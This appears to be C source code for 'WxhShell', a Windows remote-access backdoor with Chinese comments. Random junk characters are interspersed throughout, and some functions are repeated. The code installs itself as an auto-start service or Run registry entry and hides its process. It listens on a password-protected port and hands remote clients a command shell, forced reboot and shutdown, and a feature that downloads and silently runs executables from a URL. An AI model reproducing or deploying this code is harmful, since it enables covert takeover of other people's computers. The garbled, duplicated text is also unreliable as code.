.?Gd'Lp NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jav#f{' .8G@%p{, if (!NtQueryInformationProcess) return 0; _Iv6pNd/ %$Aqle[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); heK7pH7;d if(!hProcess) return 0; n;T7= 1_" sK5r$Dbr if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a)'5Nw9* %&Q$dzgb_ CloseHandle(hProcess); aWY
gR !!? Mw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BFOq8}fX2 if(hProcess==NULL) return 0; HZf/CE9T '4#}e[e HMODULE hMod; jYhB
+| char procName[255]; jWE:ek* unsigned long cbNeeded; TTTPxO, & J2M1z% if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cu/5$m?xx 9*1,!%] CloseHandle(hProcess); ML>[^F W!>.$4Q9 if(strstr(procName,"services")) return 1; // 以服务启动 u[
Yk 6gs01c,BA return 0; // 注册表启动
#c66) } k<\$OoOZ &E=>Hj(dTG // 主模块 UaB @ int StartWxhshell(LPSTR lpCmdLine) 0ok-IHE< { vTx2E6 SOCKET wsl; ikSt"}/hd BOOL val=TRUE; -xA2pYz" int port=0; T]=r Co struct sockaddr_in door; +lMX{es\O HEM9E&rL if(wscfg.ws_autoins) Install(); ssN6M./6 ktpaU,% port=atoi(lpCmdLine); w_{wBL[3e hK,Sf ;5V if(port<=0) port=wscfg.ws_port; pj?f?.^ Xn%pNxUL WSADATA data; L>RP-x> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ls] g u2?|Ue@[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0p!>JQ]m setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n4#;k=mA door.sin_family = AF_INET; &H`jL4S door.sin_addr.s_addr = inet_addr("127.0.0.1"); *5^Q7`` door.sin_port = htons(port); k+ty>bP= TmV,&['mg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4QIX19{" closesocket(wsl); G%W8S
\ return 1; Z
Z:}AQ } j4uvS! --c"0,7 if(listen(wsl,2) == INVALID_SOCKET) { sv&;Y\2c closesocket(wsl); B2'i7Ps return 1; h*u } tE`u(B, Wxhshell(wsl); #T=LR@y WSACleanup(); &bfA.&
` &-B^~M*?? return 0; Nbi.\ K#=*9S } EH!
q=&d < F.hZGss7 // 以NT服务方式启动 3GhRWB-U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !~rY1T~ { j+uLV{~g6 DWORD status = 0; P<a)25be/ DWORD specificError = 0xfffffff; jT]0WS-b :6 Lx@ serviceStatus.dwServiceType = SERVICE_WIN32; &N\jG373 serviceStatus.dwCurrentState = SERVICE_START_PENDING; qfMo7e@6* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [8*jw'W|[ serviceStatus.dwWin32ExitCode = 0; ^!<BQP7 serviceStatus.dwServiceSpecificExitCode = 0; L"4mL, serviceStatus.dwCheckPoint = 0; h1B16) serviceStatus.dwWaitHint = 0; r[b(I@T+ SfaQvstN hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $4 S@ if (hServiceStatusHandle==0) return; to DG7XN} dE4L=sTEsy status = GetLastError(); M$>1L if (status!=NO_ERROR) #\ X#w<\? { rp!oO>F serviceStatus.dwCurrentState = SERVICE_STOPPED; 4hTMbS_; serviceStatus.dwCheckPoint = 0; C,ARXW1 serviceStatus.dwWaitHint = 0; \1fN0e serviceStatus.dwWin32ExitCode = status; \b?" b serviceStatus.dwServiceSpecificExitCode = specificError; vnM@QfN SetServiceStatus(hServiceStatusHandle, &serviceStatus); rPLm5ni return; rLI8pA|. } 7G}2,ueI Y6zbo serviceStatus.dwCurrentState = SERVICE_RUNNING; I J( serviceStatus.dwCheckPoint = 0; 8{^WY7.' serviceStatus.dwWaitHint = 0; %)/P^9I6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <FcG
oGK } e}
P I^bc "J[K 3 // 处理NT服务事件,比如:启动、停止 |ZRagn30 VOID WINAPI NTServiceHandler(DWORD fdwControl) lFV N07hG
{ 6i.-6></ switch(fdwControl) j/_s"}m{ { LHkc7X$ case SERVICE_CONTROL_STOP: jU9$Ehg
I serviceStatus.dwWin32ExitCode = 0; 34%RZG_o' serviceStatus.dwCurrentState = SERVICE_STOPPED; odjT:Vr serviceStatus.dwCheckPoint = 0; ;7 E7!t^ serviceStatus.dwWaitHint = 0; VFURAYS { FrL]^59a SetServiceStatus(hServiceStatusHandle, &serviceStatus); FtfKe"qw } >aj7||K return; > dI LF case SERVICE_CONTROL_PAUSE: UQC=g serviceStatus.dwCurrentState = SERVICE_PAUSED; `lO[x.[ break; kT"Kyd case SERVICE_CONTROL_CONTINUE: LSGBq serviceStatus.dwCurrentState = SERVICE_RUNNING; B&[M7i break; W;'!gpa case SERVICE_CONTROL_INTERROGATE: qUob?|
^ break; 2\jPv`Ia }; LWz&YF#T- SetServiceStatus(hServiceStatusHandle, &serviceStatus); /
zB0J? } w35J.zn {f2S/$q // 标准应用程序主函数 w[S pw<Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2(u,SQ { G IT>L Y&d00 // 获取操作系统版本 <UV1!2nv* OsIsNt=GetOsVer(); E[@ u
3i8 GetModuleFileName(NULL,ExeFile,MAX_PATH); $RIecv<e_ t\{'F7 // 从命令行安装 `_` QxM if(strpbrk(lpCmdLine,"iI")) Install(); `.FF!P:{C* \n8]M\< // 下载执行文件 T|7}EAR=b if(wscfg.ws_downexe) { .<x&IJ / if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gv)P]{%^ WinExec(wscfg.ws_filenam,SW_HIDE); j3{I /m } )FF>IFHG XWS%zLaK if(!OsIsNt) { j/r]wd"aUS // 如果时win9x,隐藏进程并且设置为注册表启动 r? NznNVU HideProc(); m'6&9Jak StartWxhshell(lpCmdLine); #\.,? A}9 } ]B%v+uaW else aJ-K? xQ if(StartFromService()) EN;}$jZ>47 // 以服务方式启动 s:#V(<J StartServiceCtrlDispatcher(DispatchTable); sk,ox~0R else 4cabP}gBk // 普通方式启动 g`vny )\7/ StartWxhshell(lpCmdLine); aT)BR?OYSJ *W0y: 3dB3 return 0; kI
4MiK } jkiFLtB@V bx{$Y_L+p w)kNkD @eD):Y =========================================== tD(7^GuR +cgSC5nR RrX[|GLSJ h|VeG3H <lw`
3aa( j9?}j#@ " 5iz{op<$, 5!DBmAB #include <stdio.h> wQP^WzNE #include <string.h> .aAL]-Rj
#include <windows.h> u frW\X #include <winsock2.h> -xSA #include <winsvc.h> ~]pE'\D7Ad #include <urlmon.h> )uj Ex7&c 7
%Oa;]| #pragma comment (lib, "Ws2_32.lib") s2'yY(u/ #pragma comment (lib, "urlmon.lib") !;i`PPRwk ^W'fA{sr #define MAX_USER 100 // 最大客户端连接数 8$85^Of #define BUF_SOCK 200 // sock buffer zVXC1u9B #define KEY_BUFF 255 // 输入 buffer Ir`eL xy5lE+E_U #define REBOOT 0 // 重启 ,&jhlZ i #define SHUTDOWN 1 // 关机 a`&f { /K.3 #define DEF_PORT 5000 // 监听端口 0E,8R{e 0fF(Z0R, #define REG_LEN 16 // 注册表键长度 Pz>s6 [ob #define SVC_LEN 80 // NT服务名长度 !c}O5TI|# Hyb3 ;yQ // 从dll定义API _/uFsYC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K/tRe/t} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6-yd](" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "U!AlZ`g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rv#]I#O @ zs'Y8 // wxhshell配置信息 ,4zmb`dP< struct WSCFG { c_-drS int ws_port; // 监听端口 8TGOx%}i char ws_passstr[REG_LEN]; // 口令 DF1I[b=] int ws_autoins; // 安装标记, 1=yes 0=no SH_(rQby char ws_regname[REG_LEN]; // 注册表键名 $}J5xG,}$ char ws_svcname[REG_LEN]; // 服务名 }Mf!-g char ws_svcdisp[SVC_LEN]; // 服务显示名 BGOuDKz9C char ws_svcdesc[SVC_LEN]; // 服务描述信息 B^j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :"=ez<t int ws_downexe; // 下载执行标记, 1=yes 0=no e\Y*F char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mz@T char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RIb4!!',c )-0kb~;| }; $nb[G$ /4a._@1h[y // default Wxhshell configuration (8Bk;bd struct WSCFG wscfg={DEF_PORT, x^kp^
/f "xuhuanlingzhe", $^OvhnL/ 1, =+U `-J}g "Wxhshell", ue4Vcf "Wxhshell", 0J?~N`#O| "WxhShell Service", -R57@D>j\ "Wrsky Windows CmdShell Service", Fy`(BF\ "Please Input Your Password: ", q;<h[b? 1, _CW(PsfY "http://www.wrsky.com/wxhshell.exe", :uWw8` "Wxhshell.exe" v}1QH }; \^ZlG. P%{^ i] // 消息定义模块 1QLbf*zeIW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |+iws8xK? char *msg_ws_prompt="\n\r? for help\n\r#>"; txiP!+3OWB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
5&v~i\Q char *msg_ws_ext="\n\rExit."; zaah^.MA| char *msg_ws_end="\n\rQuit."; MYla OT char *msg_ws_boot="\n\rReboot..."; ^Wc@oa` char *msg_ws_poff="\n\rShutdown..."; V}dJ.I /# char *msg_ws_down="\n\rSave to "; n` xR5!de &d"G/6 char *msg_ws_err="\n\rErr!"; .WPV dwV4U char *msg_ws_ok="\n\rOK!"; 3[O=xXB pPc TrN' char ExeFile[MAX_PATH]; |/09<F:L[ int nUser = 0; ny`#%Vs HANDLE handles[MAX_USER]; 0BIy>wy: int OsIsNt; ;.TRWn# /9HVY
%n SERVICE_STATUS serviceStatus; ``ou/Z SERVICE_STATUS_HANDLE hServiceStatusHandle; JBJhG<J W_kHj}dj,p // 函数声明 kPVO?uO int Install(void); `glBV`?^ int Uninstall(void); lrv3fPIW int DownloadFile(char *sURL, SOCKET wsh); -amBB7g int Boot(int flag); A9wh(P0\ void HideProc(void); !q9+9 *6 int GetOsVer(void); 2
dAB-d:k int Wxhshell(SOCKET wsl); ~kZ G{ void TalkWithClient(void *cs); ~ vJ,`? int CmdShell(SOCKET sock); W7 Cc int StartFromService(void); Zy o[(`y int StartWxhshell(LPSTR lpCmdLine); <)u`~$n2 5qr'.m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b]x4o#t VOID WINAPI NTServiceHandler( DWORD fdwControl ); W0l,cOOZJ oJ4AIQjB // 数据结构和表定义 @&1ZB6OCb: SERVICE_TABLE_ENTRY DispatchTable[] = "br,/Dk>MX { AS\F{ !O {wscfg.ws_svcname, NTServiceMain}, BaSZ71>9]r {NULL, NULL} H`0|tepz }; }UWL-TkEjF
yls
^ cyX // 自我安装 v#.r.{t int Install(void) 7T1=q{#M { -?mfE+kt char svExeFile[MAX_PATH]; 8Le||)y,\ HKEY key; CaL\fZ strcpy(svExeFile,ExeFile); D'J0wT# *g6n // 如果是win9x系统,修改注册表设为自启动 Z@3i$8 if(!OsIsNt) { ynE)Xdh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cUY`97bn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M7@2^G]p RegCloseKey(key);
8DegN,? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r]b_@hT', RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~S8* t~ RegCloseKey(key); CE/Xfh'44 return 0; mT.u0KUIy } EL(nDv } dHv68*^\' } BDR.AZ else {
8xccp4 i(>4wK!! // 如果是NT以上系统,安装为系统服务 ;*:Pw?' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y#q?A,C@n if (schSCManager!=0) 4<k9?)~(J { /+@p7FqlE SC_HANDLE schService = CreateService wS%Q<uK ( e A#;AQm schSCManager, ;4.!H,d wscfg.ws_svcname, 4A_[PM wscfg.ws_svcdisp, ZuS0DPS`L SERVICE_ALL_ACCESS, `NgAT
3zq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nv@8tdrc SERVICE_AUTO_START, Q$="_y2cTA SERVICE_ERROR_NORMAL, hM{{\yZS svExeFile, yF"1#{*y NULL, X)7x<?DAy NULL, 0l-Ef1 NULL, H;YP8MoQ NULL, i*#-I3 NULL ~ xft ); Hm%;=`:' if (schService!=0) rvnT6Ve { A'jP7P CloseServiceHandle(schService); i 7x7xtq CloseServiceHandle(schSCManager); $`)/0{qY- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vTlwRG=5 strcat(svExeFile,wscfg.ws_svcname); L#+q]j+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0tEYU:Qu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .HkL2m RegCloseKey(key); .y@oz7T5 return 0; ]
:BX!< } *=+td)S/1 } *# tJM.Z CloseServiceHandle(schSCManager); <8d^^0 } <N_+=_ } IE9XU9Kd W9D86]3Y return 1; il:$sd } E )5E$ =jX8.K4] // 自我卸载 2JJ"O|Ibz int Uninstall(void) L1Iz<> { }>VG~u8 HKEY key; &8l%T'gd eS<lwA_ if(!OsIsNt) { @8;W \L$~1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /J:bWr RegDeleteValue(key,wscfg.ws_regname); BV>\ McI+ RegCloseKey(key); .pN`;*7` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PDrZY.- RegDeleteValue(key,wscfg.ws_regname); =gJb^
Gx(w RegCloseKey(key); ,'p2v)p^4 return 0; $`z)~6'
} (UU(:/ } iy 14mh\ ~ } A7%:05 else { t4-pM1]1_
f"u%J/e & SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k;w- E if (schSCManager!=0) .)<(Oj|4 { rz@=pR : SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $+>M{fg? if (schService!=0) WC.t_"@ { kX>f^U{j if(DeleteService(schService)!=0) { Y0_),OaY CloseServiceHandle(schService); ,0hA'cp CloseServiceHandle(schSCManager); <-,gAk)u return 0; N(y\dL=v } q^r#F#*1l CloseServiceHandle(schService); %=/) } ~Uxsn@nLr CloseServiceHandle(schSCManager); uoXAQ6k } Fl1;;F } =
Wu
*+paQ bZ|FnY}FB return 1; d"6&AJ5a } ,:Lb7bFv> [L:o`j // 从指定url下载文件 K9OYri^TQ int DownloadFile(char *sURL, SOCKET wsh) xv&Q+HD { qeL5D* HRESULT hr; JvT"bZk(o char seps[]= "/"; }(1JaG char *token; ~fT_8z char *file; pb$~b\s]= char myURL[MAX_PATH]; WV #%PJ char myFILE[MAX_PATH]; v7DE _ B5gR strcpy(myURL,sURL); OujCb^Rm token=strtok(myURL,seps); 'rr^2d]`ST while(token!=NULL) 4*'pl.rb> { IaT$6\> file=token; sfOHarww token=strtok(NULL,seps); 6Qx#%,U^ J } 8'f4 Od ? lhw ,J]0* GetCurrentDirectory(MAX_PATH,myFILE); I+dbZBX strcat(myFILE, "\\"); FKT1fv[H strcat(myFILE, file); H<}^'#"p send(wsh,myFILE,strlen(myFILE),0); ;uW}`Q< send(wsh,"...",3,0); LWHd~"eU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qHP78&wUx if(hr==S_OK) ^",ACWF4Sk return 0; |j VM&R2s else =Q[b'*o7 return 1; Nqrmp" ] 1f8GW } -tyK~aasQ 4=Krq6{ // 系统电源模块 H8`(O"V int Boot(int flag) 1$81E. { V2i@.@$j HANDLE hToken; _<NMyRJo TOKEN_PRIVILEGES tkp; w);6K[+; *
;Cy=J+ if(OsIsNt) { ltD37QZQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \@1=stK:F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k:#P|z$UD tkp.PrivilegeCount = 1; ,iv|Pq$! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @$2))g` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %o:2^5\W if(flag==REBOOT) { I<8sI%,s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |7}CQU return 0; ZG du| } >+
4huRb else { 9 `w) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tp9-niW return 0; |)K]U } h?FmBK'BAd } S -'fS2 else { qq1 - DG if(flag==REBOOT) { %0mMz.f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [_.5RPJP8 return 0; mUz\ra;z } lME)?LOI else { `p7&>
BOA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K%Rj8J7|u? return 0; ~DsECnD } V]vc(rH } F`9ZH. jvV9eA:zl return 1; <@Fy5k-%. } N]<!j$pOz L // win9x进程隐藏模块 ~2zMkVH void HideProc(void) HCa { wu4NLgkE p!<$vE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {M?vBgR\B if ( hKernel != NULL ) .^m>AKC0cX { ryc& n5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h'$9C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &09U@uc$ FreeLibrary(hKernel); lZrVY+D } YTjkPj: ]wWPXx[>/ return; WwUv5GZTW } S>0nx ^P ZZ.m(ATR // 获取操作系统版本 D^-7JbE] int GetOsVer(void) Kmdlf,[3d { yx<WSgWZ[ OSVERSIONINFO winfo; Qo1eXMW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vYU;_R GetVersionEx(&winfo); VT.;:Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d)"?mD:m/M return 1; /De^
else @5[kcU> return 0; ]Y| 9?9d } s #S%#LM >Z;jY* // 客户端句柄模块 *\o/q[ int Wxhshell(SOCKET wsl) 1<h>B: { Vm|Y$C SOCKET wsh; {"
4e+y struct sockaddr_in client; p*8-W(u) DWORD myID; \6 93kQ ee/&/Gt while(nUser<MAX_USER) #%FN>v3e { 3w!c`;c% int nSize=sizeof(client); /2RajsK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )Y8",Ig if(wsh==INVALID_SOCKET) return 1; PD LpNTBf {h KjD"? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?9X&tK)E- if(handles[nUser]==0) ne>g?"Pex{ closesocket(wsh); wCHR7X0*b else 033T>qY nUser++; N<L`c/ } 2PR^:h2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7HHysNB"w 0ilCS[`b return 0; fof2
xcH! } Ol')7d& \@;\t7~ // 关闭 socket '/I:^9 void CloseIt(SOCKET wsh) n6(.{M; { tdF9NFMD closesocket(wsh); A~dQ\M nUser--; L}yyaM) ExitThread(0); gBf4's } o|j*t7 IjfxR mV // 客户端请求句柄 $j5,%\4< void TalkWithClient(void *cs) dk==? { 1,V`8 [ Zh/Uu6 SOCKET wsh=(SOCKET)cs; =5sF"L;b char pwd[SVC_LEN]; %G@5!|J char cmd[KEY_BUFF]; 6st^4S5 char chr[1]; NA.1QQ;e int i,j; 6UE(f@ TFepxF while (nUser < MAX_USER) { CVi`bO 4\ Ce'pis if(wscfg.ws_passstr) { c:l]=O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3?E&}J<n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yxBUj*3 //ZeroMemory(pwd,KEY_BUFF); K$
v"Uk i=0; vLO&Lpv while(i<SVC_LEN) { /"ymZI!k\ ?v-1zCls // 设置超时 K+T.o6+ fd_set FdRead; i%#$* struct timeval TimeOut; =_[Z W FD_ZERO(&FdRead); FhIqy %X FD_SET(wsh,&FdRead); cW``M.d'F TimeOut.tv_sec=8; w#^U45y1v TimeOut.tv_usec=0; .!}hhiF,Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /i)Hb`(S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K"2|[ 5 Uw<&Wm`' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x>~p;z#VX pwd=chr[0]; ~B$b)`* if(chr[0]==0xd || chr[0]==0xa) { !Do,>gO pwd=0; B/"2., break; _iEj } lr2rQo> i++; c
{I"R8 } +3,|"g:: y>\S@I // 如果是非法用户,关闭 socket Fpt-V if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &&L"&Rc } ,eQ[Fi!! zx1:`K0bi send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d/7l efF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (}:C+p
'I :Au /2 while(1) { hFvi5I-b @rb l^ ZeroMemory(cmd,KEY_BUFF); <SVmOmJ-K h<+|x7u // 自动支持客户端 telnet标准 cywg[ j=0; a)2yE,": while(j<KEY_BUFF) { e(1k0W4B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J`#`fX cmd[j]=chr[0]; 4B?!THjk if(chr[0]==0xa || chr[0]==0xd) { #\bP7a+ cmd[j]=0; >m_v5K break; dZ:r&Qa } nEy]` j++; tk/`%Q } Y~n`~( YYRT.U' // 下载文件 $gp!w8h if(strstr(cmd,"http://")) { "D*Wi7 send(wsh,msg_ws_down,strlen(msg_ws_down),0); &B!%fd.' if(DownloadFile(cmd,wsh)) F3ZxhkF send(wsh,msg_ws_err,strlen(msg_ws_err),0); J -Qh/d%] else i9UI,b%X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LNQSb4 } 1h"_[`L' else { ,2 WH/" m%QqmTH switch(cmd[0]) { |ia@,*KD r9ke,7? // 帮助 iilyw_$H case '?': { ;Mj002.\G send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wVi%oSfM break; :G'xi2bs } DM3B]Yl // 安装 U q X1E case 'i': { t ,qul4y} if(Install()) ui'F'"tPz send(wsh,msg_ws_err,strlen(msg_ws_err),0); >uHS[ _`nM else gZ(O)uzv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '=} Y2?( break; Ohl} X 1 } /~}_h O$S // 卸载 lVeH+"M? case 'r': { ~SVQ;U)- if(Uninstall()) /aUFc '5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z|^MGyn else *kaJ*Ti-/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %OI4a5V*l break; BV9 *s }
qtSs)n // 显示 wxhshell 所在路径 xaXV^ZM3 case 'p': { MWq$AK] char svExeFile[MAX_PATH]; Vdvx"s[`m strcpy(svExeFile,"\n\r"); w)S; J,Hv strcat(svExeFile,ExeFile); /BzA(Ic/ send(wsh,svExeFile,strlen(svExeFile),0); I$N7pobh break; k]I*:'178 } sT<{SmBF // 重启 E_[ONm=, case 'b': { R @r{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fkW(Dt, if(Boot(REBOOT)) B5Va%?Wg?H send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kp_jy.e7& else { }(=ml7 )v closesocket(wsh); GqjO>v fy ExitThread(0); "d?f:x3v^ } 4]UT+'RubX break; |t\KsW } ci7~KewJ* // 关机 _hoAW8i case 'd': { ida*]+ ~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 11*"d# if(Boot(SHUTDOWN)) |h1^Gv send(wsh,msg_ws_err,strlen(msg_ws_err),0); tL8't]M, else { g)M#{"H closesocket(wsh); w2)/mSnu ExitThread(0); 5X;?I/9 } DyI2Ye break; $DV-Ieb } fH!=Zb_{8 // 获取shell a R#Cot case 's': { '?R =P CmdShell(wsh); nx :)k-p_[ closesocket(wsh); I2*oTUSik ExitThread(0); |p'i,.(c_W break; (^S5Sc= } `9EVB; // 退出 2nx8iA
case 'x': { tG 7+7Z= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zZYHc?Z CloseIt(wsh); -ddOh<U> break; [i9[Mj } /$OIlu // 离开 ^4hc+sh0D case 'q': { ,'-?:`hP' send(wsh,msg_ws_end,strlen(msg_ws_end),0); pU[K%@sC closesocket(wsh); aa=b<Cd WSACleanup(); !@yQK<0 exit(1); #f9qlM32
break; t|".=3%G } 7+S44)w}~ } Qy%xL9 } *08+\ed"# j}RM.C\7 // 提示信息 -t b;igv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tD^a5qPh } *C/KM;& } /T#o<D `g8tq return; 3It8&x: } O &\<F T5 jQIV2TY[ // shell模块句柄 [5pn@o int CmdShell(SOCKET sock) {9:hg9;E* { L3>4t: 8 STARTUPINFO si;
jrdtd6b} ZeroMemory(&si,sizeof(si)); HtS#_y%( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M[vCpa si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .6I%64m PROCESS_INFORMATION ProcessInfo;
G%`cJdM char cmdline[]="cmd"; |Qq+8IeYG CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]Qy,#p'~&H return 0; a5I%RY } 5YLho2h38! 5z[6rT=a // 自身启动模式 'T{pdEn8u int StartFromService(void) 6fQ*X~| p { PJ6$);9}6 typedef struct OMxxI 6h { ^1vq{/ X DWORD ExitStatus; L`JY4JM" DWORD PebBaseAddress; ;lk f+,; DWORD AffinityMask; 6%z`)d DWORD BasePriority; t.u{.P\Md\ ULONG UniqueProcessId; x6~Fb~aP ULONG InheritedFromUniqueProcessId; # m_\1&g } PROCESS_BASIC_INFORMATION; X~#@rg!"
`;T?9n PROCNTQSIP NtQueryInformationProcess; MSFNw R3cG<MjmK static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $$/S8LmmK static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2O^32TdS I>8Bc HANDLE hProcess; .>a$g7Rj PROCESS_BASIC_INFORMATION pbi; C!I\Gh `oan,wq+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SaTEZ. if(NULL == hInst ) return 0; 7~ILRj5Nq {bxhH)a' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UFJEs[?+Te g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W|)(|W NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s>V*=#L 2%*|fF}I if (!NtQueryInformationProcess) return 0; )8\Z=uC t>=GVu^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a#>t+.dd if(!hProcess) return 0; o^N%;d1%E !fif8kf if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yr Preuh R2 'C s CloseHandle(hProcess); g9! dpP %9cqJ]S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r]xdhR5 if(hProcess==NULL) return 0; s'_$j$1 "F04c|oR<X HMODULE hMod; FUH*]U char procName[255]; Pm'.,?" unsigned long cbNeeded; sCuQB Z h a'c9XG} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \"{/yjO|4 if\k[O 1T6 CloseHandle(hProcess); d8 3+6d 48W:4B'l9 if(strstr(procName,"services")) return 1; // 以服务启动 _zAc 5rS Uia)5z z8 return 0; // 注册表启动 >f3k3XWRT } -{.h\ REeD?u j // 主模块 \0xzBs1! int StartWxhshell(LPSTR lpCmdLine) %Td+J`|U+ { 